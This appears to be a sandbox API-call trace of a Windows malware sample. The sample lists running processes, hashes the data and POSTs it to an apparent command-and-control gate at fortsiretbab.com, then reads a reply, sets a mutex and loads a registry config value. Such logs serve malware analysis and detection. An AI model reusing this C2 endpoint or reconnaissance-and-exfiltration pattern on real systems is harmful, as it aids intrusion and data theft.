lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0115.129] wvnsprintfW (in: pszDest=0x8baccc, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2996] [mscorsvw.exe]\r\n") returned 23 [0115.129] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0115.129] wvnsprintfW (in: pszDest=0x8bacfa, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[3040] [mscorsvw.exe]\r\n") returned 23 [0115.129] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0115.130] wvnsprintfW (in: pszDest=0x8bad28, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2112] [sppsvc.exe]\r\n") returned 21 [0115.130] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.130] wvnsprintfW (in: pszDest=0x8bad52, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2196] [svchost.exe]\r\n") returned 22 [0115.130] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0115.131] wvnsprintfW (in: pszDest=0x8bad7e, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[1628] [msiexec.exe]\r\n") returned 22 [0115.131] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0115.131] wvnsprintfW (in: pszDest=0x8badaa, cchDest=523, pszFmt="[%u] [%s]\r\n", arglist=0x25be3d4 | out: pszDest="[2484] [tor.exe]\r\n") returned 18 [0115.131] Process32NextW (in: hSnapshot=0x1ac, lppe=0x25be3e0 | out: lppe=0x25be3e0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0115.132] CloseHandle (hObject=0x1ac) returned 1 [0115.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="[0] [[System Process]]\r\n[4] [System]\r\n[264] [smss.exe]\r\n[332] [csrss.exe]\r\n[380] [wininit.exe]\r\n[392] [csrss.exe]\r\n[432] [winlogon.exe]\r\n[476] [services.exe]\r\n[484] [lsass.exe]\r\n[492] [lsm.exe]\r\n[600] [svchost.exe]\r\n[664] [svchost.exe]\r\n[716] [svchost.exe]\r\n[792] [svchost.exe]\r\n[852] [svchost.exe]\r\n[920] [audiodg.exe]\r\n[1008] [svchost.exe]\r\n[352] [svchost.exe]\r\n[284] [spoolsv.exe]\r\n[1036] [svchost.exe]\r\n[1296] [taskhost.exe]\r\n[1372] [dwm.exe]\r\n[1384] [explorer.exe]\r\n[1480] [taskeng.exe]\r\n[2000] [taskeng.exe]\r\n[692] [taskeng.exe]\r\n[1932] [taskhost.exe]\r\n[1204] [prospectssayspotteryamplifier.exe]\r\n[1408] [combinations-bits-tape.exe]\r\n[800] [delicious_sale.exe]\r\n[100] [friendly.exe]\r\n[1592] [reveal-salaries-mandate.exe]\r\n[1576] [catalogvidsmoreoverrail.exe]\r\n[836] [sri-gods.exe]\r\n[2044] [wines-fix-hopefully-analyzed.exe]\r\n[2040] [lovers_voices_chicks.exe]\r\n[1508] [cool rev connection ranger.exe]\r\n[1160] [psychiatrychip.exe]\r\n[1764] [delivers_launches_tagged_antique.exe]\r\n[1696] [pp availability.exe]\r\n[2052] [pdtdifficultrolandddr.exe]\r\n[2068] [falls.exe]\r\n[2084] [slightly dentists modified.exe]\r\n[2100] [switchconventionspeppercovered.exe]\r\n[2116] [statutes_slow_determines_ciao.exe]\r\n[2132] [psp.exe]\r\n[2148] [anonymous.exe]\r\n[2164] [concept_nor_works_holder.exe]\r\n[2396] [svchost.exe]\r\n[2456] [OSPPSVC.EXE]\r\n[2524] [svchost.exe]\r\n[2612] [cmd.exe]\r\n[2620] [conhost.exe]\r\n[2996] [mscorsvw.exe]\r\n[3040] [mscorsvw.exe]\r\n[2112] [sppsvc.exe]\r\n[2196] [svchost.exe]\r\n[1628] [msiexec.exe]\r\n[2484] [tor.exe]\r\n", cchWideChar=1515, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1515 [0115.132] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="[0] [[System Process]]\r\n[4] [System]\r\n[264] [smss.exe]\r\n[332] [csrss.exe]\r\n[380] [wininit.exe]\r\n[392] [csrss.exe]\r\n[432] [winlogon.exe]\r\n[476] [services.exe]\r\n[484] [lsass.exe]\r\n[492] [lsm.exe]\r\n[600] [svchost.exe]\r\n[664] [svchost.exe]\r\n[716] [svchost.exe]\r\n[792] [svchost.exe]\r\n[852] [svchost.exe]\r\n[920] [audiodg.exe]\r\n[1008] [svchost.exe]\r\n[352] [svchost.exe]\r\n[284] [spoolsv.exe]\r\n[1036] [svchost.exe]\r\n[1296] [taskhost.exe]\r\n[1372] [dwm.exe]\r\n[1384] [explorer.exe]\r\n[1480] [taskeng.exe]\r\n[2000] [taskeng.exe]\r\n[692] [taskeng.exe]\r\n[1932] [taskhost.exe]\r\n[1204] [prospectssayspotteryamplifier.exe]\r\n[1408] [combinations-bits-tape.exe]\r\n[800] [delicious_sale.exe]\r\n[100] [friendly.exe]\r\n[1592] [reveal-salaries-mandate.exe]\r\n[1576] [catalogvidsmoreoverrail.exe]\r\n[836] [sri-gods.exe]\r\n[2044] [wines-fix-hopefully-analyzed.exe]\r\n[2040] [lovers_voices_chicks.exe]\r\n[1508] [cool rev connection ranger.exe]\r\n[1160] [psychiatrychip.exe]\r\n[1764] [delivers_launches_tagged_antique.exe]\r\n[1696] [pp availability.exe]\r\n[2052] [pdtdifficultrolandddr.exe]\r\n[2068] [falls.exe]\r\n[2084] [slightly dentists modified.exe]\r\n[2100] [switchconventionspeppercovered.exe]\r\n[2116] [statutes_slow_determines_ciao.exe]\r\n[2132] [psp.exe]\r\n[2148] [anonymous.exe]\r\n[2164] [concept_nor_works_holder.exe]\r\n[2396] [svchost.exe]\r\n[2456] [OSPPSVC.EXE]\r\n[2524] [svchost.exe]\r\n[2612] [cmd.exe]\r\n[2620] [conhost.exe]\r\n[2996] [mscorsvw.exe]\r\n[3040] [mscorsvw.exe]\r\n[2112] [sppsvc.exe]\r\n[2196] [svchost.exe]\r\n[1628] [msiexec.exe]\r\n[2484] [tor.exe]\r\n", cchWideChar=1515, lpMultiByteStr=0x868fa0, cbMultiByte=1516, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[0] [[System Process]]\r\n[4] [System]\r\n[264] [smss.exe]\r\n[332] [csrss.exe]\r\n[380] [wininit.exe]\r\n[392] [csrss.exe]\r\n[432] [winlogon.exe]\r\n[476] [services.exe]\r\n[484] [lsass.exe]\r\n[492] [lsm.exe]\r\n[600] [svchost.exe]\r\n[664] [svchost.exe]\r\n[716] [svchost.exe]\r\n[792] [svchost.exe]\r\n[852] [svchost.exe]\r\n[920] [audiodg.exe]\r\n[1008] [svchost.exe]\r\n[352] [svchost.exe]\r\n[284] [spoolsv.exe]\r\n[1036] [svchost.exe]\r\n[1296] [taskhost.exe]\r\n[1372] [dwm.exe]\r\n[1384] [explorer.exe]\r\n[1480] [taskeng.exe]\r\n[2000] [taskeng.exe]\r\n[692] [taskeng.exe]\r\n[1932] [taskhost.exe]\r\n[1204] [prospectssayspotteryamplifier.exe]\r\n[1408] [combinations-bits-tape.exe]\r\n[800] [delicious_sale.exe]\r\n[100] [friendly.exe]\r\n[1592] [reveal-salaries-mandate.exe]\r\n[1576] [catalogvidsmoreoverrail.exe]\r\n[836] [sri-gods.exe]\r\n[2044] [wines-fix-hopefully-analyzed.exe]\r\n[2040] [lovers_voices_chicks.exe]\r\n[1508] [cool rev connection ranger.exe]\r\n[1160] [psychiatrychip.exe]\r\n[1764] [delivers_launches_tagged_antique.exe]\r\n[1696] [pp availability.exe]\r\n[2052] [pdtdifficultrolandddr.exe]\r\n[2068] [falls.exe]\r\n[2084] [slightly dentists modified.exe]\r\n[2100] [switchconventionspeppercovered.exe]\r\n[2116] [statutes_slow_determines_ciao.exe]\r\n[2132] [psp.exe]\r\n[2148] [anonymous.exe]\r\n[2164] [concept_nor_works_holder.exe]\r\n[2396] [svchost.exe]\r\n[2456] [OSPPSVC.EXE]\r\n[2524] [svchost.exe]\r\n[2612] [cmd.exe]\r\n[2620] [conhost.exe]\r\n[2996] [mscorsvw.exe]\r\n[3040] [mscorsvw.exe]\r\n[2112] [sppsvc.exe]\r\n[2196] [svchost.exe]\r\n[1628] [msiexec.exe]\r\n[2484] [tor.exe]\r\n", lpUsedDefaultChar=0x0) returned 1515 [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.132] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.133] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.134] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b0c [0115.135] GetTickCount () returned 0x23b1c [0115.135] GetTickCount () returned 0x23b1c [0115.136] GetTickCount () returned 0x23b1c [0115.136] GetTickCount () returned 0x23b1c [0115.136] GetTickCount () returned 0x23b1c [0115.136] GetTickCount () returned 0x23b1c [0115.136] GetTickCount () returned 0x23b1c [0115.136] GetTickCount () returned 0x23b1c [0115.136] CryptAcquireContextW (in: phProv=0x25bedc4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x25bedc4*=0x892488) returned 1 [0115.136] CryptCreateHash (in: hProv=0x892488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x25bedc0 | out: phHash=0x25bedc0) returned 1 [0115.136] CryptHashData (hHash=0x85b1a0, pbData=0x8ba228, dwDataLen=0x7ed, dwFlags=0x0) returned 1 [0115.136] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x8ba218, pdwDataLen=0x25bedbc, dwFlags=0x0 | out: pbData=0x8ba218, pdwDataLen=0x25bedbc) returned 1 [0115.136] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0115.136] CryptReleaseContext (hProv=0x892488, dwFlags=0x0) returned 1 [0115.136] InternetCrackUrlA (in: lpszUrl="http://fortsiretbab.com/bdl/gate.php", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x25beeb0 | out: lpUrlComponents=0x25beeb0) returned 1 [0115.136] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0115.136] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x2, lpBuffer=0x323004, dwBufferLength=0x4) returned 1 [0115.136] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x6, lpBuffer=0x32300c, dwBufferLength=0x4) returned 1 [0115.136] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x5, lpBuffer=0x323014, dwBufferLength=0x4) returned 1 [0115.136] InternetConnectA (hInternet=0xcc0004, lpszServerName="fortsiretbab.com", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0115.137] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/bdl/gate.php", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x323018*="*/*", dwFlags=0x8404c700, dwContext=0x0) returned 0xcc000c [0115.137] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders="Connection: close\r\n", dwHeadersLength=0x13, lpOptional=0x8ba1f8*, dwOptionalLength=0x81d | out: lpOptional=0x8ba1f8*) returned 1 [0115.626] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x25bef04, lpdwBufferLength=0x25bef00, lpdwIndex=0x0 | out: lpBuffer=0x25bef04*, lpdwBufferLength=0x25bef00*=0x4, lpdwIndex=0x0) returned 1 [0115.626] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x0) returned 0x102 [0115.626] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2b40048, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x25bef08 | out: lpBuffer=0x2b40048*, lpdwNumberOfBytesRead=0x25bef08*=0x15fa) returned 1 [0115.626] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x0) returned 0x102 [0115.626] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2b41642, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x25bef08 | out: lpBuffer=0x2b41642*, lpdwNumberOfBytesRead=0x25bef08*=0x2c3) returned 1 [0115.649] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x0) returned 0x102 [0115.649] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2b41905, dwNumberOfBytesToRead=0x40000, lpdwNumberOfBytesRead=0x25bef08 | out: lpBuffer=0x2b41905*, lpdwNumberOfBytesRead=0x25bef08*=0x0) returned 1 [0115.651] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0115.652] InternetQueryOptionA (in: hInternet=0xcc0008, dwOption=0x15, lpBuffer=0x25bef1c, lpdwBufferLength=0x25bef18 | out: lpBuffer=0x25bef1c, lpdwBufferLength=0x25bef18) returned 1 [0115.652] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0115.652] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0115.652] CryptAcquireContextW (in: phProv=0x25bedf0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x25bedf0*=0x892840) returned 1 [0115.652] CryptCreateHash (in: hProv=0x892840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x25bedec | out: phHash=0x25bedec) returned 1 [0115.652] CryptHashData (hHash=0x85b1a0, pbData=0x2b40078, dwDataLen=0x1584, dwFlags=0x0) returned 1 [0115.652] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x25bee18, pdwDataLen=0x25bede8, dwFlags=0x0 | out: pbData=0x25bee18, pdwDataLen=0x25bede8) returned 1 [0115.652] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0115.652] CryptReleaseContext (hProv=0x892840, dwFlags=0x0) returned 1 [0115.653] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{8E6A7E3D-CDD7-345A-65D9-FE61A0417768}") returned 0x430 [0115.653] WaitForSingleObject (hHandle=0x430, dwMilliseconds=0xffffffff) returned 0x0 [0115.653] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", ulOptions=0x0, samDesired=0x1, phkResult=0x25be48c | out: phkResult=0x25be48c*=0x1ac) returned 0x0 [0115.653] RegQueryValueExW (in: hKey=0x1ac, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x25be758, lpData=0x0, lpcbData=0x25be488*=0x0 | out: lpType=0x25be758*=0x3, lpData=0x0, lpcbData=0x25be488*=0x724) returned 0x0 [0115.653] RegQueryValueExW (in: hKey=0x1ac, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x25be758, lpData=0x8657a0, lpcbData=0x25be488*=0x724 | out: lpType=0x25be758*=0x3, lpData=0x8657a0*, lpcbData=0x25be488*=0x724) returned 0x0 [0115.653] RegCloseKey (hKey=0x1ac) returned 0x0 [0115.653] CryptAcquireContextW (in: phProv=0x25be308, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x25be308*=0x892840) returned 1 [0115.653] CryptCreateHash (in: hProv=0x892840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x25be304 | out: phHash=0x25be304) returned 1 [0115.653] CryptHashData (hHash=0x85b1a0, pbData=0x8657d0, dwDataLen=0x6f4, dwFlags=0x0) returned 1 [0115.653] CryptGetHashParam (in: hHash=0x85b1a0, dwParam=0x2, pbData=0x25be330, pdwDataLen=0x25be300, dwFlags=0x0 | out: pbData=0x25be330, pdwDataLen=0x25be300) returned 1 [0115.653] CryptDestroyHash (hHash=0x85b1a0) returned 1 [0115.653] CryptReleaseContext (hProv=0x892840, dwFlags=0x0) returned 1 [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e [0115.654] GetTickCount () returned 0x23d1e 